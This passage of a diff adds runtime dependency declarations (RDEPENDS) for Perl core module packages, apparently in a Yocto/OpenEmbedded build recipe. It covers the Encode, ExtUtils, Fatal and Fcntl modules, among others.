+RDEPENDS:perl-module-encode-ebcdic += "perl-module-encode"
+RDEPENDS:perl-module-encode-ebcdic += "perl-module-strict"
+RDEPENDS:perl-module-encode-ebcdic += "perl-module-warnings"
+RDEPENDS:perl-module-encode-ebcdic += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-encoder += "perl-module-constant"
+RDEPENDS:perl-module-encode-encoder += "perl-module-encode"
+RDEPENDS:perl-module-encode-encoder += "perl-module-exporter"
+RDEPENDS:perl-module-encode-encoder += "perl-module-overload"
+RDEPENDS:perl-module-encode-encoder += "perl-module-strict"
+RDEPENDS:perl-module-encode-encoder += "perl-module-warnings"
+RDEPENDS:perl-module-encode-encoding += "perl-module-constant"
+RDEPENDS:perl-module-encode-encoding += "perl-module-encode"
+RDEPENDS:perl-module-encode-encoding += "perl-module-encode-mime-name"
+RDEPENDS:perl-module-encode-encoding += "perl-module-strict"
+RDEPENDS:perl-module-encode-encoding += "perl-module-warnings"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-encode"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-parent"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-strict"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-utf8"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-vars"
+RDEPENDS:perl-module-encode-gsm0338 += "perl-module-warnings"
+RDEPENDS:perl-module-encode-guess += "perl-module-bytes"
+RDEPENDS:perl-module-encode-guess += "perl-module-constant"
+RDEPENDS:perl-module-encode-guess += "perl-module-encode"
+RDEPENDS:perl-module-encode-guess += "perl-module-encode-unicode"
+RDEPENDS:perl-module-encode-guess += "perl-module-parent"
+RDEPENDS:perl-module-encode-guess += "perl-module-strict"
+RDEPENDS:perl-module-encode-guess += "perl-module-warnings"
+RDEPENDS:perl-module-encode-jp-h2z += "perl-module-encode-cjkconstants"
+RDEPENDS:perl-module-encode-jp-h2z += "perl-module-strict"
+RDEPENDS:perl-module-encode-jp-h2z += "perl-module-vars"
+RDEPENDS:perl-module-encode-jp-h2z += "perl-module-warnings"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-bytes"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-encode"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-encode-cjkconstants"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-encode-jp-h2z"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-parent"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-strict"
+RDEPENDS:perl-module-encode-jp-jis7 += "perl-module-warnings"
+RDEPENDS:perl-module-encode-jp += "perl-module-encode"
+RDEPENDS:perl-module-encode-jp += "perl-module-encode-jp-jis7"
+RDEPENDS:perl-module-encode-jp += "perl-module-strict"
+RDEPENDS:perl-module-encode-jp += "perl-module-warnings"
+RDEPENDS:perl-module-encode-jp += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-encode"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-encode-cjkconstants"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-parent"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-strict"
+RDEPENDS:perl-module-encode-kr-2022-kr += "perl-module-warnings"
+RDEPENDS:perl-module-encode-kr += "perl-module-encode"
+RDEPENDS:perl-module-encode-kr += "perl-module-encode-kr-2022-kr"
+RDEPENDS:perl-module-encode-kr += "perl-module-strict"
+RDEPENDS:perl-module-encode-kr += "perl-module-warnings"
+RDEPENDS:perl-module-encode-kr += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-constant"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-encode-cjkconstants"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-parent"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-strict"
+RDEPENDS:perl-module-encode-mime-header-iso-2022-jp += "perl-module-warnings"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-encode"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-mime-base64"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-parent"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-strict"
+RDEPENDS:perl-module-encode-mime-header += "perl-module-warnings"
+RDEPENDS:perl-module-encode-mime-name += "perl-module-strict"
+RDEPENDS:perl-module-encode-mime-name += "perl-module-warnings"
+RDEPENDS:perl-module-encode += "perl-module-bytes"
+RDEPENDS:perl-module-encode += "perl-module-constant"
+RDEPENDS:perl-module-encode += "perl-module-encode-alias"
+RDEPENDS:perl-module-encode += "perl-module-encode-config"
+RDEPENDS:perl-module-encode += "perl-module-encode-configlocal-pm"
+RDEPENDS:perl-module-encode += "perl-module-encode-mime-name"
+RDEPENDS:perl-module-encode += "perl-module-exporter"
+RDEPENDS:perl-module-encode += "perl-module-parent"
+RDEPENDS:perl-module-encode += "perl-module-storable"
+RDEPENDS:perl-module-encode += "perl-module-strict"
+RDEPENDS:perl-module-encode += "perl-module-warnings"
+RDEPENDS:perl-module-encode += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-symbol += "perl-module-encode"
+RDEPENDS:perl-module-encode-symbol += "perl-module-strict"
+RDEPENDS:perl-module-encode-symbol += "perl-module-warnings"
+RDEPENDS:perl-module-encode-symbol += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-tw += "perl-module-encode"
+RDEPENDS:perl-module-encode-tw += "perl-module-strict"
+RDEPENDS:perl-module-encode-tw += "perl-module-warnings"
+RDEPENDS:perl-module-encode-tw += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-unicode += "perl-module-encode"
+RDEPENDS:perl-module-encode-unicode += "perl-module-parent"
+RDEPENDS:perl-module-encode-unicode += "perl-module-strict"
+RDEPENDS:perl-module-encode-unicode += "perl-module-warnings"
+RDEPENDS:perl-module-encode-unicode += "perl-module-xsloader"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-encode"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-mime-base64"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-parent"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-re"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-strict"
+RDEPENDS:perl-module-encode-unicode-utf7 += "perl-module-warnings"
+RDEPENDS:perl-module-encoding += "perl-module-config"
+RDEPENDS:perl-module-encoding += "perl-module-constant"
+RDEPENDS:perl-module-encoding += "perl-module-encode"
+RDEPENDS:perl-module-encoding += "perl-module-filter-util-call"
+RDEPENDS:perl-module-encoding += "perl-module-i18n-langinfo"
+RDEPENDS:perl-module-encoding += "perl-module-posix"
+RDEPENDS:perl-module-encoding += "perl-module-strict"
+RDEPENDS:perl-module-encoding += "perl-module-utf8"
+RDEPENDS:perl-module-encoding += "perl-module-warnings"
+RDEPENDS:perl-module-encoding-warnings += "perl-module-strict"
+RDEPENDS:perl-module-encoding-warnings += "perl-module-warnings"
+RDEPENDS:perl-module-english += "perl-module-exporter"
+RDEPENDS:perl-module-env += "perl-module-config"
+RDEPENDS:perl-module-env += "perl-module-tie-array"
+RDEPENDS:perl-module-errno += "perl-module-exporter"
+RDEPENDS:perl-module-errno += "perl-module-strict"
+RDEPENDS:perl-module-experimental += "perl-module-strict"
+RDEPENDS:perl-module-experimental += "perl-module-version"
+RDEPENDS:perl-module-experimental += "perl-module-warnings"
+RDEPENDS:perl-module-exporter-heavy += "perl-module-exporter"
+RDEPENDS:perl-module-exporter-heavy += "perl-module-strict"
+RDEPENDS:perl-module-exporter += "perl-module-exporter-heavy"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-config"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-dynaloader"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-extutils-mksymlists"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-file-temp"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-ipc-cmd"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-text-parsewords"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-cbuilder += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-cbuilder += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-aix += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-aix += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-aix += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-android += "perl-module-config"
+RDEPENDS:perl-module-extutils-cbuilder-platform-android += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-android += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-android += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-cygwin += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-cygwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-cygwin += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-darwin += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-darwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-darwin += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-os2 += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-os2 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-os2 += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-unix += "perl-module-extutils-cbuilder-base"
+RDEPENDS:perl-module-extutils-cbuilder-platform-unix += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-unix += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-vms += "perl-module-config"
+RDEPENDS:perl-module-extutils-cbuilder-platform-vms += "perl-module-extutils-cbuilder-base"
+RDEPENDS:perl-module-extutils-cbuilder-platform-vms += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-vms += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-bcc += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-bcc += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-gcc += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-gcc += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-msvc += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-msvc += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-extutils-cbuilder-base"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-io-file"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-extutils-command"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-extutils-install"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-getopt-long"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-strict"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-test-harness"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-command += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-command += "perl-module-file-copy"
+RDEPENDS:perl-module-extutils-command += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-command += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-command += "perl-module-strict"
+RDEPENDS:perl-module-extutils-command += "perl-module-vars"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-constant"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-extutils-constant-utils"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-text-wrap"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-vars"
+RDEPENDS:perl-module-extutils-constant += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-constant += "perl-module-extutils-constant-proxysubs"
+RDEPENDS:perl-module-extutils-constant += "perl-module-extutils-constant-utils"
+RDEPENDS:perl-module-extutils-constant += "perl-module-extutils-constant-xs"
+RDEPENDS:perl-module-extutils-constant += "perl-module-filehandle"
+RDEPENDS:perl-module-extutils-constant += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant += "perl-module-vars"
+RDEPENDS:perl-module-extutils-constant-proxysubs += "perl-module-extutils-constant-utils"
+RDEPENDS:perl-module-extutils-constant-proxysubs += "perl-module-extutils-constant-xs"
+RDEPENDS:perl-module-extutils-constant-proxysubs += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant-proxysubs += "perl-module-vars"
+RDEPENDS:perl-module-extutils-constant-utils += "perl-module-constant"
+RDEPENDS:perl-module-extutils-constant-utils += "perl-module-posix"
+RDEPENDS:perl-module-extutils-constant-utils += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant-utils += "perl-module-vars"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-data-dumper"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-extutils-constant"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-extutils-constant-base"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-extutils-constant-utils"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-vars"
+RDEPENDS:perl-module-extutils-embed += "perl-module-config"
+RDEPENDS:perl-module-extutils-embed += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-embed += "perl-module-extutils-liblist"
+RDEPENDS:perl-module-extutils-embed += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-embed += "perl-module-getopt-std"
+RDEPENDS:perl-module-extutils-embed += "perl-module-strict"
+RDEPENDS:perl-module-extutils-installed += "perl-module-config"
+RDEPENDS:perl-module-extutils-installed += "perl-module-data-dumper"
+RDEPENDS:perl-module-extutils-installed += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-installed += "perl-module-extutils-packlist"
+RDEPENDS:perl-module-extutils-installed += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-installed += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-installed += "perl-module-strict"
+RDEPENDS:perl-module-extutils-installed += "perl-module-vars"
+RDEPENDS:perl-module-extutils-install += "perl-module-autosplit"
+RDEPENDS:perl-module-extutils-install += "perl-module-config"
+RDEPENDS:perl-module-extutils-install += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-install += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-install += "perl-module-extutils-packlist"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-compare"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-copy"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-install += "perl-module-strict"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-strict"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-text-parsewords"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-liblist += "perl-module-extutils-liblist-kid"
+RDEPENDS:perl-module-extutils-liblist += "perl-module-strict"
+RDEPENDS:perl-module-extutils-makemaker-config += "perl-module-config"
+RDEPENDS:perl-module-extutils-makemaker-config += "perl-module-strict"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-base"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-encode"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-encode-alias"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-i18n-langinfo"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-strict"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-b"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-cpan"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-makemaker-version"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-manifest"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-mm"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-my"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-strict"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-version"
+RDEPENDS:perl-module-extutils-makemaker-version += "perl-module-strict"
+RDEPENDS:perl-module-extutils-makemaker-version += "perl-module-vars"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-config"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-file-copy"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-strict"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-miniperl += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-miniperl += "perl-module-extutils-embed"
+RDEPENDS:perl-module-extutils-miniperl += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mkbootstrap += "perl-module-config"
+RDEPENDS:perl-module-extutils-mkbootstrap += "perl-module-dynaloader"
+RDEPENDS:perl-module-extutils-mkbootstrap += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-mkbootstrap += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mksymlists += "perl-module-config"
+RDEPENDS:perl-module-extutils-mksymlists += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-mksymlists += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-aix += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-aix += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-aix += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-autosplit"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-cpan"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-data-dumper"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-version"
+RDEPENDS:perl-module-extutils-mm-beos += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-beos += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-beos += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-beos += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-cygwin += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-cygwin += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-cygwin += "perl-module-extutils-mm-win32"
+RDEPENDS:perl-module-extutils-mm-cygwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-darwin += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-darwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-dos += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-dos += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-dos += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-macos += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-extutils-mm-win32"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-os2 += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-os2 += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-os2 += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-os2 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm += "perl-module-extutils-liblist"
+RDEPENDS:perl-module-extutils-mm += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-qnx += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-qnx += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-encode"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-extutils-liblist"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-vars"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-version"
+RDEPENDS:perl-module-extutils-mm-uwin += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-uwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-liblist-kid"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-vos += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-vos += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-win95 += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-win95 += "perl-module-extutils-mm-win32"
+RDEPENDS:perl-module-extutils-mm-win95 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-my += "perl-module-extutils-mm"
+RDEPENDS:perl-module-extutils-my += "perl-module-strict"
+RDEPENDS:perl-module-extutils-packlist += "perl-module-config"
+RDEPENDS:perl-module-extutils-packlist += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-packlist += "perl-module-strict"
+RDEPENDS:perl-module-extutils-packlist += "perl-module-vars"
+RDEPENDS:perl-module-extutils-parsexs-constants += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-constants += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-parsexs-countlines += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-eval += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-eval += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-config"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-extutils-parsexs-constants"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-extutils-parsexs-countlines"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-extutils-parsexs-eval"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-extutils-parsexs-utilities"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-re"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-extutils-parsexs-constants"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-extutils-typemaps"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-testlib += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-testlib += "perl-module-lib"
+RDEPENDS:perl-module-extutils-testlib += "perl-module-strict"
+RDEPENDS:perl-module-extutils-testlib += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps-cmd += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-typemaps-cmd += "perl-module-extutils-typemaps"
+RDEPENDS:perl-module-extutils-typemaps-cmd += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps-cmd += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps-inputmap += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps-inputmap += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps-outputmap += "perl-module-re"
+RDEPENDS:perl-module-extutils-typemaps-outputmap += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps-outputmap += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-parsexs"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-parsexs-constants"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-typemaps-inputmap"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-typemaps-outputmap"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-typemaps-type"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps-type += "perl-module-extutils-typemaps"
+RDEPENDS:perl-module-extutils-typemaps-type += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps-type += "perl-module-warnings"
+RDEPENDS:perl-module-fatal += "perl-module-autodie"
+RDEPENDS:perl-module-fatal += "perl-module-autodie-exception-system"
+RDEPENDS:perl-module-fatal += "perl-module-autodie-hints"
+RDEPENDS:perl-module-fatal += "perl-module-autodie-util"
+RDEPENDS:perl-module-fatal += "perl-module-config"
+RDEPENDS:perl-module-fatal += "perl-module-constant"
+RDEPENDS:perl-module-fatal += "perl-module-fcntl"
+RDEPENDS:perl-module-fatal += "perl-module-posix"
+RDEPENDS:perl-module-fatal += "perl-module-strict"
+RDEPENDS:perl-module-fatal += "perl-module-tie-refhash"
+RDEPENDS:perl-module-fatal += "perl-module-warnings"
+RDEPENDS:perl-module-fcntl += "perl-module-exporter"
+RDEPENDS:perl-module-fcntl += "perl-module-strict"
+RDEPENDS:perl-module-fcntl += "perl-module-xsloader"
+RDEPENDS:perl-module-fields += "perl-module-base"
